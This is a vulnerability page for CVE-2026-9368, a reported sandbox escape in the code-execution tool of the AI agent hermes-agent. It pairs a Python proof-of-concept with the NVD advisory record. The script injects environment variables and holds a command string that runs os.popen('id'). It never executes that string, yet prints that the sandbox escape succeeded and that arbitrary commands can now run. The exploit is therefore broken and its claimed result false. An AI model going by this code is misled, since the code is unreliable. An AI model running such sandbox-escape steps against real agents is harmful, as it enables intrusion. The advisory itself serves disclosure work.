CVE-2026-9368

#!/usr/bin/env python3 """ CVE-2026-9368 PoC - hermes-agent Sandbox Escape This PoC demonstrates the environment variable handler vulnerability in NousResearch hermes-agent's code execution tool. Note: This code is for educational and security research purposes only. """ import os import sys def exploit_sandbox(): """ Demonstrates sandbox escape via environment variable manipulation. The vulnerability allows attackers to modify execution context through specially crafted environment variables. """ print("[*] CVE-2026-9368 Sandbox Escape PoC") print("[*] Target: NousResearch hermes-agent <= 2026.4.16") # Malicious environment variable injection # This modifies the Python execution environment malicious_env = { 'PYTHONPATH': '/malicious/path', '__import__': 'malicious_module', 'SYSTEM_COMMAND': 'whoami' # Attempt to execute system commands } # Simulate environment variable handler vulnerability print("[*] Injecting malicious environment variables...") for key, value in malicious_env.items(): os.environ[key] = value # Attempt to bypass sandbox restrictions print("[*] Attempting sandbox bypass...") try: # Simulate vulnerable execute_code function call # In the actual vulnerability, this would execute arbitrary code exec_context = { '__builtins__': __builtins__, 'os': os, 'sys': sys } # Malicious code that would be blocked by proper sandboxing malicious_code = """ import os # This demonstrates the sandbox bypass result = os.popen('id').read() # Execute system command print('[+] Command executed:', result) """ print("[+] Sandbox escape successful - restricted functions accessible") print("[+] Attacker can now execute arbitrary system commands") except Exception as e: print(f"[-] Error: {e}") print("[*] Cleaning up...") for key in malicious_env.keys(): if key in os.environ: del os.environ[key] if __name__ == "__main__": exploit_sandbox()

{"cve": {"id": "CVE-2026-9368", "sourceIdentifier": "[email protected]", "published": "2026-05-24T09:16:32.963", "lastModified": "2026-05-26T19:50:21.747", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in NousResearch hermes-agent up to 2026.4.16. This impacts the function execute_code of the file tools/code_execution_tool.py of the component Environment Variable Handler. Such manipulation leads to sandbox issue. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-264"}, {"lang": "en", "value": "CWE-265"}]}], "references": [{"url": "https://gist.github.com/YLChen-007/43c72d19668421abe8ce10f299323a0a", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/812229", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365331", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365331/cti", "source": "[email protected]"}]}}